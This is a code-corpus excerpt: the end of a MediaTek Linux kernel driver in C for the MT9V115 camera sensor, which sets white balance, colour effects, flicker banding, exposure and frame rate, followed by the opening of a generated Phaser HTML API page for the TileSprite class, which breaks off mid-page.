case MSDK_SCENARIO_ID_CAMERA_CAPTURE_JPEG:
case MSDK_SCENARIO_ID_CAMERA_CAPTURE_MEM:
pSensorInfo->SensorClockFreq=24;
pSensorInfo->SensorClockDividCount= 3;
pSensorInfo->SensorClockRisingCount= 0;
pSensorInfo->SensorClockFallingCount= 2;
pSensorInfo->SensorPixelClockCount= 3;
pSensorInfo->SensorDataLatchCount= 2;
pSensorInfo->SensorGrabStartX = 4;
pSensorInfo->SensorGrabStartY = 2;
break;
default:
pSensorInfo->SensorClockFreq=24;
pSensorInfo->SensorClockDividCount=3;
pSensorInfo->SensorClockRisingCount=0;
pSensorInfo->SensorClockFallingCount=2;
pSensorInfo->SensorPixelClockCount=3;
pSensorInfo->SensorDataLatchCount=2;
pSensorInfo->SensorGrabStartX = 4;
pSensorInfo->SensorGrabStartY = 2;
break;
}
// MT9V115_PixelClockDivider=pSensorInfo->SensorPixelClockCount;
memcpy(pSensorConfigData, &MT9V115SensorConfigData, sizeof(MSDK_SENSOR_CONFIG_STRUCT));
SENSORDB("[Exit]:MT9V115 getInfo func\n");
return ERROR_NONE;
} /* MT9V115GetInfo() */
UINT32 MT9V115Control(MSDK_SCENARIO_ID_ENUM ScenarioId, MSDK_SENSOR_EXPOSURE_WINDOW_STRUCT *pImageWindow,
MSDK_SENSOR_CONFIG_STRUCT *pSensorConfigData)
{
SENSORDB("[Enter]:MT9V115 Control func:ScenarioId = %d\n",ScenarioId);
switch (ScenarioId)
{
case MSDK_SCENARIO_ID_CAMERA_PREVIEW:
case MSDK_SCENARIO_ID_VIDEO_PREVIEW:
case MSDK_SCENARIO_ID_VIDEO_CAPTURE_MPEG4:
MT9V115Preview(pImageWindow, pSensorConfigData);
break;
case MSDK_SCENARIO_ID_CAMERA_CAPTURE_JPEG:
case MSDK_SCENARIO_ID_CAMERA_CAPTURE_MEM:
MT9V115Capture(pImageWindow, pSensorConfigData);
default:
break;
}
SENSORDB("[Exit]:MT9V115 Control func\n");
return ERROR_NONE;
} /* MT9V115Control() */
/*************************************************************************
* FUNCTION
* MT9V115_set_param_wb
*
* DESCRIPTION
* wb setting.
*
* PARAMETERS
* none
*
* RETURNS
* None
*
* GLOBALS AFFECTED
*
*************************************************************************/
BOOL MT9V115_set_param_wb(UINT16 para)
{
//This sensor need more time to balance AWB,
//we suggest higher fps or drop some frame to avoid garbage color when preview initial
SENSORDB("[Enter]MT9V115 set_param_wb func:para = %d\n",para);
switch (para)
{
case AWB_MODE_AUTO:
MT9V115_write_cmos_sensor(0x098E,0x9401);
MT9V115_write8_cmos_sensor(0x9401,0x0D);
break;
case AWB_MODE_CLOUDY_DAYLIGHT:
MT9V115_write_cmos_sensor(0x098E,0x9401);
MT9V115_write8_cmos_sensor(0x9401,0x0C);
MT9V115_write8_cmos_sensor(0x9436,0x42);
MT9V115_write8_cmos_sensor(0x9437,0x56);
break;
case AWB_MODE_DAYLIGHT:
MT9V115_write_cmos_sensor(0x098E,0x9401);
MT9V115_write8_cmos_sensor(0x9401,0x0C);
MT9V115_write8_cmos_sensor(0x9436,0x4B);
MT9V115_write8_cmos_sensor(0x9437,0x49);
break;
case AWB_MODE_INCANDESCENT:
MT9V115_write_cmos_sensor(0x098E,0x9401);
MT9V115_write8_cmos_sensor(0x9401,0x0C);
MT9V115_write8_cmos_sensor(0x9436,0x5E);
MT9V115_write8_cmos_sensor(0x9437,0x33);
break;
case AWB_MODE_FLUORESCENT:
MT9V115_write_cmos_sensor(0x098E,0x9401);
MT9V115_write8_cmos_sensor(0x9401,0x0C);
MT9V115_write8_cmos_sensor(0x9436,0x4D);
MT9V115_write8_cmos_sensor(0x9437,0x3C);
break;
case AWB_MODE_TUNGSTEN:
MT9V115_write_cmos_sensor(0x098E,0x9401);
MT9V115_write8_cmos_sensor(0x9401,0x0C);
MT9V115_write8_cmos_sensor(0x9436,0x5E);
MT9V115_write8_cmos_sensor(0x9437,0x33);
break;
default:
return FALSE;
}
return TRUE;
} /* MT9V115_set_param_wb */
/*************************************************************************
* FUNCTION
* MT9V115_set_param_effect
*
* DESCRIPTION
* effect setting.
*
* PARAMETERS
* none
*
* RETURNS
* None
*
* GLOBALS AFFECTED
*
*************************************************************************/
BOOL MT9V115_set_param_effect(UINT16 para)
{
SENSORDB("[Enter]MT9V115 set_param_effect func:para = %d\n",para);
switch (para)
{
case MEFFECT_OFF:
MT9V115_write_cmos_sensor(0x098E,0xA010);
MT9V115_write8_cmos_sensor(0xA010,0x00);
Sleep(10);
break;
case MEFFECT_NEGATIVE:
MT9V115_write_cmos_sensor(0x098E,0xA010);
MT9V115_write8_cmos_sensor(0xA010,0x03);
Sleep(10);
break;
case MEFFECT_SEPIA:
MT9V115_write_cmos_sensor(0x098E,0xA010);
MT9V115_write8_cmos_sensor(0xA010,0x02);
MT9V115_write8_cmos_sensor(0xA012,0x1E);
MT9V115_write8_cmos_sensor(0xA013,0xD8);
Sleep(10);
break;
case MEFFECT_SEPIAGREEN:
MT9V115_write_cmos_sensor(0x098E,0xA010);
MT9V115_write8_cmos_sensor(0xA010,0x02);
MT9V115_write8_cmos_sensor(0xA012,0xDF);
MT9V115_write8_cmos_sensor(0xA013,0xC0);
Sleep(10);
break;
case MEFFECT_SEPIABLUE:
MT9V115_write_cmos_sensor(0x098E,0xA010);
MT9V115_write8_cmos_sensor(0xA010,0x02);
MT9V115_write8_cmos_sensor(0xA012,0x00);
MT9V115_write8_cmos_sensor(0xA013,0x3F);
Sleep(10);
break;
case MEFFECT_MONO:
MT9V115_write_cmos_sensor(0x098E,0xA010);
MT9V115_write8_cmos_sensor(0xA010,0x01);
MT9V115_write8_cmos_sensor(0xA012,0x1E);
MT9V115_write8_cmos_sensor(0xA013,0xD8);
Sleep(10);
break;
default:
return KAL_FALSE;
}
return KAL_TRUE;
} /* MT9V115_set_param_effect */
/*************************************************************************
* FUNCTION
* MT9V115_set_param_banding
*
* DESCRIPTION
* banding setting.
*
* PARAMETERS
* none
*
* RETURNS
* None
*
* GLOBALS AFFECTED
*
*************************************************************************/
BOOL MT9V115_set_param_banding(UINT16 para)
{
switch (para)
{
case AE_FLICKER_MODE_50HZ:
SENSORDB("[Enter]MT9V115 set_param_banding func 50HZ\n");
MT9V115_write_cmos_sensor(0x098E, 0X8C00); /* enable banding and 50 Hz */
MT9V115_write8_cmos_sensor(0x8C00,0x02);
MT9V115_write8_cmos_sensor(0x8C01,0x01);
Sleep(10);
break;
case AE_FLICKER_MODE_60HZ:
SENSORDB("[Enter]MT9V115 set_param_banding func:para 60HZ\n");
MT9V115_write_cmos_sensor(0x098E, 0X8C00); /* enable banding and 60 Hz */
MT9V115_write8_cmos_sensor(0x8C00,0x02);
MT9V115_write8_cmos_sensor(0x8C01,0x00);
Sleep(10);
break;
default:
return KAL_FALSE;
}
return KAL_TRUE;
} /* MT9V115_set_param_banding */
/*************************************************************************
* FUNCTION
* MT9V115_set_param_exposure
*
* DESCRIPTION
* exposure setting.
*
* PARAMETERS
* none
*
* RETURNS
* None
*
* GLOBALS AFFECTED
*
*************************************************************************/
BOOL MT9V115_set_param_exposure(UINT16 para)
{
kal_uint16 base_target = 0;
SENSORDB("[Enter]MT9V115 set_param_exposure func:para = %d\n",para);
MT9V115_write_cmos_sensor(0x098E, 0xA01F);
switch (para)
{
case AE_EV_COMP_13: //+4 EV
MT9V115_write8_cmos_sensor(0xA020, 0x5F);
break;
case AE_EV_COMP_10: //+3 EV
MT9V115_write8_cmos_sensor(0xA020, 0x55);
break;
case AE_EV_COMP_07: //+2 EV
MT9V115_write8_cmos_sensor(0xA020, 0x4B);
break;
case AE_EV_COMP_03: // +1 EV
MT9V115_write8_cmos_sensor(0xA020, 0x41);
break;
case AE_EV_COMP_00: // +0 EV
MT9V115_write8_cmos_sensor(0xA020, 0x37);
break;
case AE_EV_COMP_n03: // -1 EV
MT9V115_write8_cmos_sensor(0xA020, 0x2D);
break;
case AE_EV_COMP_n07: // -2 EV
MT9V115_write8_cmos_sensor(0xA020, 0x23);
break;
case AE_EV_COMP_n10: //-3 EV
MT9V115_write8_cmos_sensor(0xA020, 0x19);
break;
case AE_EV_COMP_n13: // -4 EV
MT9V115_write8_cmos_sensor(0xA020, 0x0F);
break;
default:
return FALSE;
}
return TRUE;
} /* MT9V115_set_param_exposure */
UINT32 MT9V115YUVSensorSetting(FEATURE_ID iCmd, UINT32 iPara)
{
SENSORDB("[Enter]MT9V115YUVSensorSetting func:cmd=%d,iPara=%d\n",iCmd,iPara);
switch (iCmd) {
case FID_SCENE_MODE: //auto mode or night mode
if (iPara == SCENE_MODE_OFF)//auto mode
{
MT9V115_night_mode(FALSE);
}
else if (iPara == SCENE_MODE_NIGHTSCENE)//night mode
{
MT9V115_night_mode(TRUE);
}
break;
case FID_AWB_MODE:
MT9V115_set_param_wb(iPara);
break;
case FID_COLOR_EFFECT:
MT9V115_set_param_effect(iPara);
break;
case FID_AE_EV:
MT9V115_set_param_exposure(iPara);
break;
case FID_AE_FLICKER:
MT9V115_set_param_banding(iPara);
break;
case FID_ZOOM_FACTOR:
spin_lock(&mt9v115yuv_drv_lock);
MT9V115Sensor.Digital_Zoom_Factor= iPara;
spin_unlock(&mt9v115yuv_drv_lock);
break;
default:
break;
}
return TRUE;
} /* MT9V115YUVSensorSetting */
UINT32 MT9V115YUVSetVideoMode(UINT16 u2FrameRate)
{
SENSORDB("[Enter]MT9V115 Set Video Mode:FrameRate= %d\n",u2FrameRate);
#if 1
if (u2FrameRate == 30)
{
MT9V115_write_cmos_sensor(0x098E, 0xA01A);
MT9V115_write_cmos_sensor(0xA01A, 0x0003);
MT9V115_write_cmos_sensor(0xA076, 0x0003);
MT9V115_write_cmos_sensor(0xA078, 0x0004);
MT9V115_write_cmos_sensor(0x300A, 0x01F9);
Sleep(12);
MT9V115_write_cmos_sensor(0xa020, 0x0000);
Sleep(120);
MT9V115_write_cmos_sensor(0xa020, 0x5000);
}
else if (u2FrameRate == 15)
{
MT9V115_write_cmos_sensor(0x098E, 0xA01A);
MT9V115_write_cmos_sensor(0xA01A, 0x0003);
MT9V115_write_cmos_sensor(0xA076, 0x0006);
MT9V115_write_cmos_sensor(0xA078, 0x0008);
MT9V115_write_cmos_sensor(0x300A, 0x03F2);
Sleep(12);
MT9V115_write_cmos_sensor(0xa020, 0x0000);
Sleep(120);
MT9V115_write_cmos_sensor(0xa020, 0x5000);
}
else
{
printk("Wrong frame rate setting \n");
}
#else
MT9V115_write_cmos_sensor(0x300A,505*(300/u2FrameRate));
MT9V115_write_cmos_sensor(0x098E,0x2076);
MT9V115_write_cmos_sensor(0xA076,1000/u2FrameRate);
MT9V115_write_cmos_sensor(0xA078,1200/u2FrameRate);
#endif
return TRUE;
}
UINT32 MT9V115FeatureControl(MSDK_SENSOR_FEATURE_ENUM FeatureId,
UINT8 *pFeaturePara,UINT32 *pFeatureParaLen)
{
UINT16 u2Temp = 0;
UINT16 *pFeatureReturnPara16=(UINT16 *) pFeaturePara;
UINT16 *pFeatureData16=(UINT16 *) pFeaturePara;
UINT32 *pFeatureReturnPara32=(UINT32 *) pFeaturePara;
UINT32 *pFeatureData32=(UINT32 *) pFeaturePara;
MSDK_SENSOR_CONFIG_STRUCT *pSensorConfigData=(MSDK_SENSOR_CONFIG_STRUCT *) pFeaturePara;
MSDK_SENSOR_REG_INFO_STRUCT *pSensorRegData=(MSDK_SENSOR_REG_INFO_STRUCT *) pFeaturePara;
SENSORDB("[Enter]:MT9V115 Feature Control func:FeatureId = %d\n",FeatureId);
switch (FeatureId)
{
case SENSOR_FEATURE_GET_RESOLUTION:
*pFeatureReturnPara16++=MT9V115_IMAGE_SENSOR_VGA_WIDTH;
*pFeatureReturnPara16=MT9V115_IMAGE_SENSOR_VGA_WIDTH;
*pFeatureParaLen=4;
break;
case SENSOR_FEATURE_GET_PERIOD:
*pFeatureReturnPara16++=MT9V115_IMAGE_SENSOR_VGA_WIDTH;
*pFeatureReturnPara16=MT9V115_IMAGE_SENSOR_VGA_WIDTH;
*pFeatureParaLen=4;
break;
case SENSOR_FEATURE_GET_PIXEL_CLOCK_FREQ:
//*pFeatureReturnPara32 = MT9V115_sensor_pclk/10;
*pFeatureParaLen=4;
break;
case SENSOR_FEATURE_SET_ESHUTTER:
break;
case SENSOR_FEATURE_SET_NIGHTMODE:
MT9V115_night_mode((BOOL) *pFeatureData16);
break;
case SENSOR_FEATURE_SET_GAIN:
break;
case SENSOR_FEATURE_SET_FLASHLIGHT:
break;
case SENSOR_FEATURE_SET_ISP_MASTER_CLOCK_FREQ:
break;
case SENSOR_FEATURE_SET_REGISTER:
MT9V115_write_cmos_sensor(pSensorRegData->RegAddr, pSensorRegData->RegData);
break;
case SENSOR_FEATURE_GET_REGISTER:
pSensorRegData->RegData = MT9V115_read_cmos_sensor(pSensorRegData->RegAddr);
break;
case SENSOR_FEATURE_GET_CONFIG_PARA:
memcpy(pSensorConfigData, &MT9V115SensorConfigData, sizeof(MSDK_SENSOR_CONFIG_STRUCT));
*pFeatureParaLen=sizeof(MSDK_SENSOR_CONFIG_STRUCT);
break;
case SENSOR_FEATURE_CHECK_SENSOR_ID:
MT9V115GetSensorID(pFeatureReturnPara32);
break;
case SENSOR_FEATURE_SET_CCT_REGISTER:
case SENSOR_FEATURE_GET_CCT_REGISTER:
case SENSOR_FEATURE_SET_ENG_REGISTER:
case SENSOR_FEATURE_GET_ENG_REGISTER:
case SENSOR_FEATURE_GET_REGISTER_DEFAULT:
case SENSOR_FEATURE_CAMERA_PARA_TO_SENSOR:
case SENSOR_FEATURE_SENSOR_TO_CAMERA_PARA:
case SENSOR_FEATURE_GET_GROUP_INFO:
case SENSOR_FEATURE_GET_ITEM_INFO:
case SENSOR_FEATURE_SET_ITEM_INFO:
case SENSOR_FEATURE_GET_ENG_INFO:
break;
case SENSOR_FEATURE_GET_GROUP_COUNT:
// *pFeatureReturnPara32++=0;
//*pFeatureParaLen=4;
break;
case SENSOR_FEATURE_GET_LENS_DRIVER_ID:
// get the lens driver ID from EEPROM or just return LENS_DRIVER_ID_DO_NOT_CARE
// if EEPROM does not exist in camera module.
*pFeatureReturnPara32=LENS_DRIVER_ID_DO_NOT_CARE;
*pFeatureParaLen=4;
break;
case SENSOR_FEATURE_SET_YUV_CMD:
MT9V115YUVSensorSetting((FEATURE_ID)*pFeatureData32, *(pFeatureData32+1));
break;
case SENSOR_FEATURE_SET_VIDEO_MODE:
MT9V115YUVSetVideoMode(*pFeatureData16);
break;
default:
break;
}
return ERROR_NONE;
} /* MT9V115FeatureControl() */
SENSOR_FUNCTION_STRUCT SensorFuncMT9V115=
{
MT9V115Open,
MT9V115GetInfo,
MT9V115GetResolution,
MT9V115FeatureControl,
MT9V115Control,
MT9V115Close
};
UINT32 MT9V115_YUV_SensorInit(PSENSOR_FUNCTION_STRUCT *pfFunc)
{
/* To Do : Check Sensor status here */
if (pfFunc!=NULL)
*pfFunc=&SensorFuncMT9V115;
return ERROR_NONE;
} /* SensorInit() */
| eagleeyetom/android_kernel_mediatek | drivers/misc/mediatek/imgsensor/mt9v115_yuv/mt9v115yuv_Sensor.c | C | gpl-2.0 | 48,216 |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Phaser Class: TileSprite</title>
<!--[if lt IE 9]>
<script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<link type="text/css" rel="stylesheet" href="styles/sunlight.default.css">
<link type="text/css" rel="stylesheet" href="styles/site.cerulean.css">
</head>
<body>
<div class="container-fluid">
<div class="navbar navbar-fixed-top navbar-inverse">
<div class="navbar-inner">
<a class="brand" href="index.html">Phaser</a>
<ul class="nav">
<li class="dropdown">
<a href="namespaces.list.html" class="dropdown-toggle" data-toggle="dropdown">Namespaces<b
class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-0">
<a href="Phaser.html">Phaser</a>
</li>
</ul>
</li>
<li class="dropdown">
<a href="classes.list.html" class="dropdown-toggle" data-toggle="dropdown">Classes<b
class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-1">
<a href="Phaser.Animation.html">Animation</a>
</li>
<li class="class-depth-1">
<a href="Phaser.AnimationManager.html">AnimationManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.AnimationParser.html">AnimationParser</a>
</li>
<li class="class-depth-1">
<a href="Phaser.ArrayList.html">ArrayList</a>
</li>
<li class="class-depth-1">
<a href="Phaser.BitmapData.html">BitmapData</a>
</li>
<li class="class-depth-1">
<a href="Phaser.BitmapText.html">BitmapText</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Button.html">Button</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Cache.html">Cache</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Camera.html">Camera</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Canvas.html">Canvas</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Circle.html">Circle</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Color.html">Color</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Device.html">Device</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Easing.html">Easing</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Back.html">Back</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Bounce.html">Bounce</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Circular.html">Circular</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Cubic.html">Cubic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Elastic.html">Elastic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Exponential.html">Exponential</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Linear.html">Linear</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Quadratic.html">Quadratic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Quartic.html">Quartic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Quintic.html">Quintic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Sinusoidal.html">Sinusoidal</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Ellipse.html">Ellipse</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Events.html">Events</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Filter.html">Filter</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Frame.html">Frame</a>
</li>
<li class="class-depth-1">
<a href="Phaser.FrameData.html">FrameData</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Game.html">Game</a>
</li>
<li class="class-depth-1">
<a href="Phaser.GameObjectCreator.html">GameObjectCreator</a>
</li>
<li class="class-depth-1">
<a href="Phaser.GameObjectFactory.html">GameObjectFactory</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Gamepad.html">Gamepad</a>
</li>
<li class="class-depth-1">
<a href="Phaser.GamepadButton.html">GamepadButton</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Graphics.html">Graphics</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Group.html">Group</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Image.html">Image</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Input.html">Input</a>
</li>
<li class="class-depth-1">
<a href="Phaser.InputHandler.html">InputHandler</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Key.html">Key</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Keyboard.html">Keyboard</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Line.html">Line</a>
</li>
<li class="class-depth-1">
<a href="Phaser.LinkedList.html">LinkedList</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Loader.html">Loader</a>
</li>
<li class="class-depth-1">
<a href="Phaser.LoaderParser.html">LoaderParser</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Math.html">Math</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Mouse.html">Mouse</a>
</li>
<li class="class-depth-1">
<a href="Phaser.MSPointer.html">MSPointer</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Net.html">Net</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Particle.html">Particle</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Particles.html">Particles</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Particles.Arcade.Emitter.html">Emitter</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Physics.html">Physics</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Physics.Arcade.html">Arcade</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Arcade.Body.html">Body</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Physics.Ninja.html">Ninja</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Ninja.AABB.html">AABB</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Ninja.Body.html">Body</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Ninja.Circle.html">Circle</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Ninja.Tile.html">Tile</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Physics.P2.html">P2</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.Body.html">Body</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.BodyDebug.html">BodyDebug</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.CollisionGroup.html">CollisionGroup</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.ContactMaterial.html">ContactMaterial</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.DistanceConstraint.html">DistanceConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.FixtureList.html">FixtureList</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.GearConstraint.html">GearConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.InversePointProxy.html">InversePointProxy</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.LockConstraint.html">LockConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.Material.html">Material</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.PointProxy.html">PointProxy</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.PrismaticConstraint.html">PrismaticConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.RevoluteConstraint.html">RevoluteConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.Spring.html">Spring</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Plugin.html">Plugin</a>
</li>
<li class="class-depth-1">
<a href="Phaser.PluginManager.html">PluginManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Point.html">Point</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Pointer.html">Pointer</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Polygon.html">Polygon</a>
</li>
<li class="class-depth-1">
<a href="Phaser.QuadTree.html">QuadTree</a>
</li>
<li class="class-depth-1">
<a href="Phaser.RandomDataGenerator.html">RandomDataGenerator</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Rectangle.html">Rectangle</a>
</li>
<li class="class-depth-1">
<a href="Phaser.RenderTexture.html">RenderTexture</a>
</li>
<li class="class-depth-1">
<a href="Phaser.RequestAnimationFrame.html">RequestAnimationFrame</a>
</li>
<li class="class-depth-1">
<a href="Phaser.RetroFont.html">RetroFont</a>
</li>
<li class="class-depth-1">
<a href="Phaser.ScaleManager.html">ScaleManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Signal.html">Signal</a>
</li>
<li class="class-depth-1">
<a href="Phaser.SignalBinding.html">SignalBinding</a>
</li>
<li class="class-depth-1">
<a href="Phaser.SinglePad.html">SinglePad</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Sound.html">Sound</a>
</li>
<li class="class-depth-1">
<a href="Phaser.SoundManager.html">SoundManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Sprite.html">Sprite</a>
</li>
<li class="class-depth-1">
<a href="Phaser.SpriteBatch.html">SpriteBatch</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Stage.html">Stage</a>
</li>
<li class="class-depth-1">
<a href="Phaser.State.html">State</a>
</li>
<li class="class-depth-1">
<a href="Phaser.StateManager.html">StateManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Text.html">Text</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Tile.html">Tile</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Tilemap.html">Tilemap</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TilemapLayer.html">TilemapLayer</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TilemapParser.html">TilemapParser</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Tileset.html">Tileset</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TileSprite.html">TileSprite</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Time.html">Time</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Timer.html">Timer</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TimerEvent.html">TimerEvent</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Touch.html">Touch</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Tween.html">Tween</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TweenManager.html">TweenManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Utils.html">Utils</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Utils.Debug.html">Debug</a>
</li>
<li class="class-depth-1">
<a href="Phaser.World.html">World</a>
</li>
</ul>
</li>
</strong>
</ul>
</div>
</div>
<div class="row-fluid">
<div class="span8">
<div id="main">
<h1 class="page-title">Class: TileSprite</h1>
<section>
<header>
<h2>
<span class="ancestors"><a href="Phaser.html">Phaser</a>.</span>
TileSprite
</h2>
<div class="class-description"><p>Phaser.TileSprite</p></div>
</header>
<article>
<div class="container-overview">
<dt>
<h4 class="name" id="TileSprite"><span class="type-signature"></span>new TileSprite<span class="signature">(game, x, y, width, height, key, frame)</span><span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>A TileSprite is a Sprite that has a repeating texture. The texture can be scrolled and scaled and will automatically wrap on the edges as it does so.
Please note that TileSprites, as with normal Sprites, have no input handler or physics bodies by default. Both need enabling.</p>
</div>
<h5>Parameters:</h5>
<table class="params table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>game</code></td>
<td class="type">
<span class="param-type"><a href="Phaser.Game.html">Phaser.Game</a></span>
</td>
<td class="description last"><p>A reference to the currently running game.</p></td>
</tr>
<tr>
<td class="name"><code>x</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The x coordinate (in world space) to position the TileSprite at.</p></td>
</tr>
<tr>
<td class="name"><code>y</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The y coordinate (in world space) to position the TileSprite at.</p></td>
</tr>
<tr>
<td class="name"><code>width</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The width of the TileSprite.</p></td>
</tr>
<tr>
<td class="name"><code>height</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The height of the TileSprite.</p></td>
</tr>
<tr>
<td class="name"><code>key</code></td>
<td class="type">
<span class="param-type">string</span>
|
<span class="param-type"><a href="Phaser.RenderTexture.html">Phaser.RenderTexture</a></span>
|
<span class="param-type"><a href="Phaser.BitmapData.html">Phaser.BitmapData</a></span>
|
<span class="param-type">PIXI.Texture</span>
</td>
<td class="description last"><p>This is the image or texture used by the TileSprite during rendering. It can be a string which is a reference to the Cache entry, or an instance of a RenderTexture or PIXI.Texture.</p></td>
</tr>
<tr>
<td class="name"><code>frame</code></td>
<td class="type">
<span class="param-type">string</span>
|
<span class="param-type">number</span>
</td>
<td class="description last"><p>If this TileSprite is using part of a sprite sheet or texture atlas you can specify the exact frame to use by giving a string or numeric index.</p></td>
</tr>
</tbody>
</table>
<dl class="details">
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-21">line 21</a>
</li></ul></dd>
</dl>
</dd>
</div>
<h3 class="subsection-title">Members</h3>
<dl>
<dt>
<h4 class="name" id="angle"><span class="type-signature"></span>angle<span class="type-signature"></span></h4>
</dt>
<dd>
<div class="description">
<p>Indicates the rotation of the Sprite, in degrees, from its original orientation. Values from 0 to 180 represent clockwise rotation; values from 0 to -180 represent counterclockwise rotation.
Values outside this range are added to or subtracted from 360 to obtain a value within the range. For example, the statement player.angle = 450 is the same as player.angle = 90.
If you wish to work in radians instead of degrees use the property Sprite.rotation instead. Working in radians is also a little faster as it doesn't have to convert the angle.</p>
</div>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
<dl>
<table class="props table table-striped">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th class="last">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name"><code>angle</code></td>
<td class="type">
<span class="param-type">number</span>
</td>
<td class="description last"><p>The angle of this Sprite in degrees.</p></td>
</tr>
</tbody>
</table>
</dl>
<dt class="tag-source">Source:</dt>
<dd class="tag-source"><ul class="dummy"><li>
<a href="TileSprite.js.html">gameobjects/TileSprite.js</a>, <a href="TileSprite.js.html#sunlight-1-line-540">line 540</a>
</li></ul></dd>
</dl>
</dd>
<dt>
<h4 class="name" id="animations"><span class="type-signature"></span>animations<span class="type-signature"></span></h4>
</dt>
<dd>
<dl class="details">
<h5 class="subsection-title">Properties:</h5>
